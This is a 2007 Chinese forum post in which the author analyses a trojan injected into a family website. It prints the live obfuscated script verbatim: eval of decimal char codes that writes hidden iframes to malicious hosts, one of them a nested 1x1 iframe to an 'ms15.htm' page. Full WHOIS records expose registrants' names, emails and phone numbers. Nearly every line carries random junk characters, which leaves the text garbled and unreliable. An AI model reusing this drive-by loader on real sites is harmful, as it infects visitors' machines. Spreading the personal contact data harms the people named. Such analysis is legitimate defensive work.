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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 6$fnQcpJ  
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http://www.areway.cn/?p=175 tK|9qs<%  
t)gi.Ed1"L  
v<3o[mq  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: Hn9F gul&  
          h>Uid &:?  
<script>t=’60,105,102,114,97,109,101, vo6[2.HS  
32,115,114,99,61,104,116,116,112,58,47,47, o47 f  
102,114,101,101,46,117,45,117,117,117,46,99, ^Z>B/aJq  
110,47,101,114,114,111,114,46,104,116,109, xPDA475Cw3  
32,119,105,100,116,104,61,49,48,48,32,104, p=_XMh`;  
101,105,103,104,116,61,48,62,60,47,105,102, Vx6? @R  
114,97,109,101,62′; 2iPmCG  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> yOUX E>-  
                                                                                                  (ND5CKCR^  
<script>t=’60,105,102,114,97,109,101,32,115, S`@6c$y k  
114,99,61,104,116,116,112,58,47,47,102,114, Ur([L&  
101,101,46,117,45,117,117,117,46,99,110,47, k'ZUBTRq!  
101,114,114,111,114,46,104,116,109,32,119, 3_\{[_W  
105,100,116,104,61,49,48,48,32,104,101,105, 2@3.xG  
103,104,116,61,48,62,60,47,105,102,114,97, }x?H ~QQT  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); 1KYbL8c  
document.write(t);</script> 8S1P&+iKs  
                                                                                                  ,]uX:h-EM  
<html xmlns=” )0U3w#,JQ  
http://www.w3.org/1999/xhtml !<=%;+  
“> RJRq` T|m  
<head> cF_;hD|YZ  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> FS`vK`'  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> Dpdn%8+Z  
<title>首页 - 爱生活家庭网 <cDKGd  
                                                                                                                                                    6i]Nr@1C  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 pdi=6<?bd  
转换字符串后的大概内容是(谁点击后果自付): 6/[Z178m  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… Rct"\{V')n  
                                                                                                                                  T1(j l)  
查询玉米u-uuu.cn的详细信息: &8]#RQy{f  
Domain Name: u-uuu.cn UEEBWzH  
ROID: 20070901s10001s64972306-cn xz"Z3B  
Domain Status: ok ke}Y 2sB  
Registrant Organization: 王雷 ,yk PQzO  
Registrant Name: 王雷 4FIV  
Administrative Email: czlovexs@126.com 3"'# |6O9  
Sponsoring Registrar: 北京万网志成科技有限公司 bvip bf[m<  
Name Server:ns.yovole.com QOT)x4!)  
Name Server:ns1.yovole.com Ns.3s7&  
Registration Date: 2007-09-01 17:54 (}{_]X|e  
Expiration Date: 2008-09-01 17:54 ;V(H7 ZM  
最后PING了一下地址 都没有什么…. ){+[$@9  
                                                                                                a IpPL8a  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. 'T)Or,d  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> m%oGzx+  
<script language=”javascript” src=” msc 1^2  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script OB?SkR  
> kRN|TDx(  
这个玉米应该有可能是木马作者的: : F7k{~  
foafau.info的详细信息: b8N[."~:  
Access to INFO WHOIS information is provided to assist persons in ).NcLJw_  
determining the contents of a domain name registration record in the W&+y(Z-t  
Afilias registry database. The data in this record is provided by %XJQ0CE<(  
Afilias Limited for informational purposes only, and Afilias does not w.J%qWJq  
guarantee its accuracy.  This service is intended only for query-based GSz @rDGY  
access. You agree that you will use this data only for lawful purposes k-WHHoU>o  
and that, under no circumstances will you use this data to: (a) allow, U#;51 _  
enable, or otherwise support the transmission by e-mail, telephone, or HQ^9 [HN.  
facsimile of mass unsolicited, commercial advertising or solicitations v)@,:u)  
to entities other than the data recipient’s own existing customers; or <I7(eh6d  
(b) enable high volume, automated, electronic processes that send {H=oxa  
queries or data to the systems of Registry Operator, a Registrar, or 01LZE,.  
Afilias except as reasonably necessary to register domain names or %bIsrQ~B  
modify existing registrations. All rights reserved. Afilias reserves 1mJbQ#5  
the right to modify these terms at any time. By submitting this query, tS\=<T  
you agree to abide by this policy. ZjU=~)O}H  
Domain ID:D22418703-LRMS GA|/7[I}  
Domain Name:FOAFAU.INFO wv, GBZ-f  
Created On:20-Nov-2007 16:05:42 UTC /x  
Last Updated On:20-Nov-2007 16:05:44 UTC 87^:<\pp  
Expiration Date:20-Nov-2008 16:05:42 UTC \npz .g^c_  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) W\it+/  
Status:CLIENT DELETE PROHIBITED !}>eo2$r^  
Status:CLIENT RENEW PROHIBITED F2IC$:e M  
Status:CLIENT TRANSFER PROHIBITED '8 )Wd"[  
Status:CLIENT UPDATE PROHIBITED 9?uqQ  
Status:TRANSFER PROHIBITED #_.g2 Y  
Registrant ID:GODA-040110615 koOyZ>  
Registrant Name:liu hong (jM<T;4  
Registrant Organization: 2c}B  
Registrant Street1:beijing V~OUE]]Q  
Registrant Street2: = :Po%Z%{  
Registrant Street3: XnBm`vk?V!  
Registrant City:beijing bnijM/73  
Registrant State/Province: sS, zzx<  
Registrant Postal Code:100000 o"|O ]  
Registrant Country:CN `[WyH O|8  
Registrant Phone:+86.860108888777 j#N(1}r=1  
Registrant Phone Ext.: <fNGhmL  
Registrant FAX: r_Lu~y|  
Registrant FAX Ext.: luW <V>  
Registrant Email:bbbshiji@163.com 7dSh3f!  
Admin ID:GODA-240110615 (E!%v`_0  
Admin Name:liu hong W`#gpi)7N  
Admin Organization: xME(B@j  
Admin Street1:beijing mR"uhm}q  
Admin Street2: It%T7 X#  
Admin Street3: o;3j:# 3 |  
Admin City:beijing fO*)LPen.z  
Admin State/Province: " Wp   
Admin Postal Code:100000 hIR@^\?  
Admin Country:CN qh%i5Mu  
Admin Phone:+86.860108888777 u\`/Nhn  
Admin Phone Ext.: ~6p5H}'H1  
Admin FAX: RNGO~:k?r  
Admin FAX Ext.: z4CJn[m9  
Admin Email:bbbshiji@163.com BSN6|W  
Billing ID:GODA-340110615 aT&t_^[]   
Billing Name:liu hong GF&_~48GD  
Billing Organization: XmP;L(wa   
Billing Street1:beijing S#,+Z7  
Billing Street2: F y b[{"  
Billing Street3: xXOR IlD  
Billing City:beijing i wUv`>l&  
Billing State/Province: PmHd9^C  
Billing Postal Code:100000 {`a(Tl8V  
Billing Country:CN 8pqs?L@W  
Billing Phone:+86.860108888777 Gc wt7~  
Billing Phone Ext.: FtE90=$  
Billing FAX: ri:,q/-  
Billing FAX Ext.: 19'5Re&  
Billing Email:bbbshiji@163.com _0K.Fk*(!  
Tech ID:GODA-140110615 U<Vy>gIC  
Tech Name:liu hong X1Qr _o-BR  
Tech Organization: ThtMRB)9  
Tech Street1:beijing mIvnz{_d  
Tech Street2: mxgqS=`  
Tech Street3: 7m\vRMK  
Tech City:beijing -!l^]MU  
Tech State/Province: JRq3>P  
Tech Postal Code:100000 >zQNHSi  
Tech Country:CN C ck#Y  
Tech Phone:+86.860108888777 Y.7}  
Tech Phone Ext.: MZ WmlJ   
Tech FAX: Y,'%7u  
Tech FAX Ext.: E$ {J  
Tech Email:bbbshiji@163.com 8yn4}`Nc@  
Name Server:NS27.DOMAINCONTROL.COM /N>} 4Ay  
Name Server:NS28.DOMAINCONTROL.COM {#N%Bq}  
Name Server: }B`Ku5 M  
Name Server: *,17x`1e  
Name Server: P7Xg{L&@.  
Name Server: "v5ElYG  
Name Server: e^zHw^js  
Name Server: (Ux [[  
Name Server: "e@n:N!  
Name Server: (Izf L1  
Name Server: %yfE7UPS]  
Name Server: Y3k[~A7X  
Name Server: f~q4{  
                                                                                                          L"^OdpOs  
接着下载每个文件里面的代码: 5Dd:r{{ Q  
一步一步看.. s"WBw'_<<  
$C u R}g  
6x/s|RWL1  
}-74 f  
9mDn KW  
"Kq>#I'%W  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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